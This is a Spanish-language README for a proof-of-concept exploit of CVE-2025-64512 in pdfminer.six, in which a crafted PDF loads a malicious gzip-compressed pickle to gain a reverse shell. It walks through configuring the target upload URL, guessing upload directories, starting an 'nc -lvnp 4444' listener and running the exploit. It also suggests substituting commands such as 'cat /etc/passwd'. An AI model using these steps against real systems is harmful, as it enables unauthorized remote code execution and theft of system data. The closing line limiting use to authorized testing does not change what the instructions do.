
Exploit para CVE-2025-64512 que permite obtener una shell inversa.
Esta prueba de concepto demuestra una vulnerabilidad en pdfminer.six (CVE-2025-64512) que puede conducir a la ejecución arbitraria de comandos cuando se procesa un PDF malicioso. El exploit utiliza un PDF manipulado que hace referencia a un pickle de Python malicioso comprimido con gzip. Cuando la aplicación vulnerable analiza el PDF, carga el pickle y ejecuta el payload incorporado.
El PoC incluido está configurado para ejecutar una reverse shell de Python, pero el payload puede ser reemplazado por cualquier comando.
requestsInstale la dependencia requerida:
pip install requests
Antes de ejecutar el exploit, edite la sección de configuración de exploit.py:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
La URL del endpoint de carga vulnerable.
Ejemplo:
BASE_URL = "http://target/upload.php"
El exploit sube tanto el PDF malicioso como el pickle comprimido a este endpoint.
El directorio absoluto en el objetivo donde se almacenan los archivos subidos.
Ejemplo:
UPLOAD_DIR = "/var/www/html/uploads"
Esta ruta está incrustada dentro del PDF generado y debe coincidir con la ubicación desde la que la aplicación vulnerable leerá posteriormente el pickle subido.
Si se desconoce el directorio de carga, determínelo durante la enumeración. Dependiendo de la aplicación, las técnicas útiles incluyen:
Las ubicaciones típicas incluyen:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
El directorio correcto depende completamente de la aplicación objetivo.
La dirección IP de su listener.
Ejemplo:
LHOST = "10.10.14.5"
Puerto de escucha para la reverse shell.
Ejemplo:
LPORT = 4444
Inicie un listener antes de ejecutar el exploit:
nc -lvnp 4444
Ejecute el exploit:
python3 exploit.py
El script hará lo siguiente:
evil.pickle.gz.En lugar de una reverse shell, se puede ejecutar cualquier comando del sistema operativo modificando el comando pasado a:
create_pickle_with_cmd(command)
Ejemplos incluyen:
id
whoami
uname -a
cat /etc/passwd
Esta prueba de concepto se proporciona únicamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. Úsela solo contra sistemas para los cuales tenga permiso explícito para realizar pruebas de seguridad.